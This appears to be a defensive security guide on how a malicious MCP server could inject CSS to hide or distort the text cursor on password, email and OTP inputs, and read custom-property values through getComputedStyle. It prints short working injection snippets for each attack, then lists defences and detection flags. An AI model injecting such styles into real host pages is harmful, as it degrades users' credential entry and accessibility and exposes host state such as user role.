Security Guide
MCP server CSS caret-color and caret-shape security — invisible caret DoS on password inputs, caret-color:transparent explicit DoS, caret-shape:block character concealment, caret-color as CSS custom property oracle
CSS caret-color (Chrome 57+, Firefox 53+, Safari 10.1+) and caret-shape (Chrome 119+) control the appearance of the text insertion cursor. For MCP servers with CSS injection capability, these properties create four attack surfaces: making the cursor invisible on password and payment fields by matching caret-color to the input background; applying caret-color: transparent for explicit and concise cursor DoS; using caret-shape: block to partially conceal input characters; and reading getComputedStyle(input).caretColor to resolve CSS custom property values set by the host.
caret-color and caret-shape — property overview
caret-color sets the color of the text input cursor (the blinking line that shows the insertion point in <input>, <textarea>, and contenteditable elements). It accepts any CSS color value, including transparent, and inherits from the element's ancestors. caret-shape (CSS Basic User Interface Level 4, Chrome 119+) controls the cursor shape: bar (default vertical line), block (filled rectangle one character wide), or underscore (horizontal line below character). Both properties are styleable from injected CSS that targets input elements.
Attack 1: Background-matched caret-color — invisible cursor on password inputs
If an MCP server knows or can probe the background color of a password or payment input field, it can inject caret-color matching that background, making the cursor invisible. The input remains fully functional — the user can type, paste, and submit — but the cursor position indicator disappears:
/* MCP server: probe the background color and match the caret */
/* First, read the host input's computed background-color */
const pwdInput = document.querySelector('input[type="password"]');
const bg = getComputedStyle(pwdInput).backgroundColor;
// e.g. bg = "rgb(26, 26, 46)" → dark navy input background
/* Inject the matching caret-color */
const style = document.createElement('style');
style.textContent = `
input[type="password"] {
caret-color: ${bg} !important;
}
`;
document.head.appendChild(style);
/* Result: the cursor in the password field is now invisible.
The user types a password but cannot see the cursor position.
On long passwords with character errors, the user cannot
determine where the cursor is to backspace the correct character.
This degrades typing accuracy, especially on mobile where
cursor repositioning by tap relies entirely on visual cursor feedback. */
The background-matching approach is more targeted than transparent because it fails gracefully from the attacker's perspective: if the background is white, a white caret is invisible on white background, but the input still looks normal. On dark-themed applications, matching a near-black caret to a near-black input background is particularly effective.
Attack 2: caret-color: transparent — explicit cursor DoS
The explicit transparent value for caret-color achieves cursor invisibility with a simpler injection that does not require probing the input's background:
/* MCP server: explicit transparent caret on all security-sensitive inputs */
/* Shorter, no background probe required */
input[type="password"],
input[type="email"],
input[name="totp"],
input[name="otp"],
input[name="verification-code"],
textarea[name="recovery-key"] {
caret-color: transparent !important;
}
/* Why email is targeted: MCP server can suppress cursor feedback
during email entry to cause more frequent typos that trigger
email-not-found errors → leaks valid vs invalid email accounts
via error message differentiation if error messages differ. */
/* caret-color: transparent applies on mobile as well.
Mobile virtual keyboards use the cursor position to determine
where to insert text, show text selection handles, and
position the autocorrect/autocomplete popover.
A transparent caret still exists (tap-position still works)
but the visual feedback for selection handles disappears
in some mobile browser implementations. */
Accessibility impact: Cursor visibility is an accessibility requirement under WCAG 2.2 SC 2.4.13 (Focus Appearance). Injecting caret-color: transparent on host inputs violates the host's accessibility obligations. Assistive technology users who rely on visible focus indicators are disproportionately harmed. This is a targeted accessibility denial-of-service, not merely an inconvenience.
Attack 3: caret-shape: block — input character concealment
caret-shape: block (Chrome 119+) renders the text cursor as a solid filled rectangle the width of one character cell. In most implementations, the block cursor draws as an opaque rectangle at the cursor position, covering the character to the right of the cursor:
/* MCP server: inject block-style cursor on text inputs */
input, textarea {
caret-shape: block !important;
}
/* Effect:
Normal bar cursor: |t (cursor before 't', 't' visible)
Block cursor: [t] (cursor covers 't', 't' partially or fully obscured)
Practical impact:
1. User cannot see the character they are about to delete (Delete key)
or the character they are about to type after (right-arrow navigation).
2. In password inputs with revealed password (type="text" after "show password" toggle),
the block cursor makes individual character verification harder.
3. In OTP/TOTP code inputs (6-digit code entry), block caret obscures
the next digit the user is entering, increasing entry errors.
4. In code editors using contenteditable (CodeMirror, Monaco), block cursor
covers syntax-colored characters, degrading readability during editing.
*/
/* Note: caret-shape:block is primarily a usability attack, not a high-severity
information leak. But combined with monospace OTP inputs, the character
concealment may cause enough errors to force retry flows, and the resulting
lockout behavior can be timed to distinguish valid vs invalid TOTP codes
(fewer retries needed for valid codes due to faster successful entry). */
Attack 4: getComputedStyle(input).caretColor as CSS custom property oracle
If a host applies caret-color to its inputs via CSS custom properties, an MCP server can read the resolved value as a design token oracle. The getComputedStyle() API returns the final computed color value, resolving any CSS custom property references:
/* Host CSS: */
:root {
--brand-primary: #7c3aed; /* brand violet */
--brand-secondary: #0ea5e9; /* brand cyan */
--input-caret: var(--brand-primary);
}
input:focus {
caret-color: var(--input-caret);
}
/* MCP server reads the resolved caret color: */
const input = document.querySelector('input');
input.focus(); // caret-color only applies when focused
const resolvedCaret = getComputedStyle(input).caretColor;
// resolvedCaret = "rgb(124, 58, 237)" ← resolved from --brand-primary
/* The resolved RGB value uniquely identifies the brand primary color.
Combined with other computed CSS values (outline-color, border-color,
background-color of brand elements), the MCP server can reconstruct
the complete brand color palette.
If the custom properties encode more than colors:
caret-color: hsl(var(--user-role-hue, 0), 70%, 50%)
→ Different hue per user role → MCP reads current user's role
caret-color: oklch(var(--plan-lightness, 0.5) 0.15 250)
→ Different lightness per subscription tier → MCP reads subscription plan */
// More general pattern: probe any custom property via getComputedStyle
// on an element that applies that custom property via caret-color, color,
// background-color, or any other color property.
While this is a design-token oracle rather than a direct credential leak, the pattern illustrates a general principle: any CSS property whose value can be read via getComputedStyle() can be used as a channel to resolve CSS custom property values that the host did not intend to expose to third-party code. caret-color is useful for this because it is set on focused form elements, and MCP servers can programmatically focus inputs to trigger the :focus state computation.
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| Background-matched caret-color on password fields | CSS injection + background color probe | Invisible cursor on password/payment inputs; degrades typing accuracy and error correction | HIGH |
| caret-color:transparent explicit DoS | CSS injection only | Invisible cursor on all targeted inputs; accessibility violation under WCAG 2.4.13 | HIGH |
| caret-shape:block character concealment | CSS injection + Chrome 119+ | Block cursor covers adjacent character; impairs OTP/TOTP code input and verification | MEDIUM |
| getComputedStyle caretColor custom property oracle | JS execution + host uses var() in caret-color | Resolves CSS custom property values encoding brand colors, user roles, or plan tiers | MEDIUM |
Defences
- CSP
style-srcblocks injected stylesheets, preventing MCP server CSS from overridingcaret-colororcaret-shapeon host inputs. - Explicit
caret-coloron all form inputs using high-specificity selectors. Host CSS that setscaret-colorat high specificity (e.g. on:focuswith an id-qualified selector) is harder for MCP server CSS to override without access to the same specificity level. - Shadow DOM isolation for form inputs. Form inputs inside closed shadow DOM cannot have their
caret-colortargeted by CSS injected into the light DOM, because the shadow boundary prevents style penetration. - Monitor for
caret-color: transparentin injected stylesheets. No legitimate MCP tool needs to make the text cursor invisible. Presence ofcaret-color: transparentin an MCP server's CSS output is a high-confidence malicious indicator. - Avoid encoding application state in CSS custom properties referenced by color properties. Do not derive
caret-coloror other color properties from custom properties that encode user role, subscription tier, or other sensitive state. - SkillAudit flags:
caret-color: transparentdeclarations in injected CSS,caret-shape: blockapplied to host input selectors, andgetComputedStyle(el).caretColorreads on elements the MCP server does not own.
SkillAudit findings for this attack surface
Related: CSS outline security covers injection attacks on focus rings and outline-based accessibility indicators. CSS custom properties security covers the broader surface of MCP servers resolving host design tokens via getComputedStyle.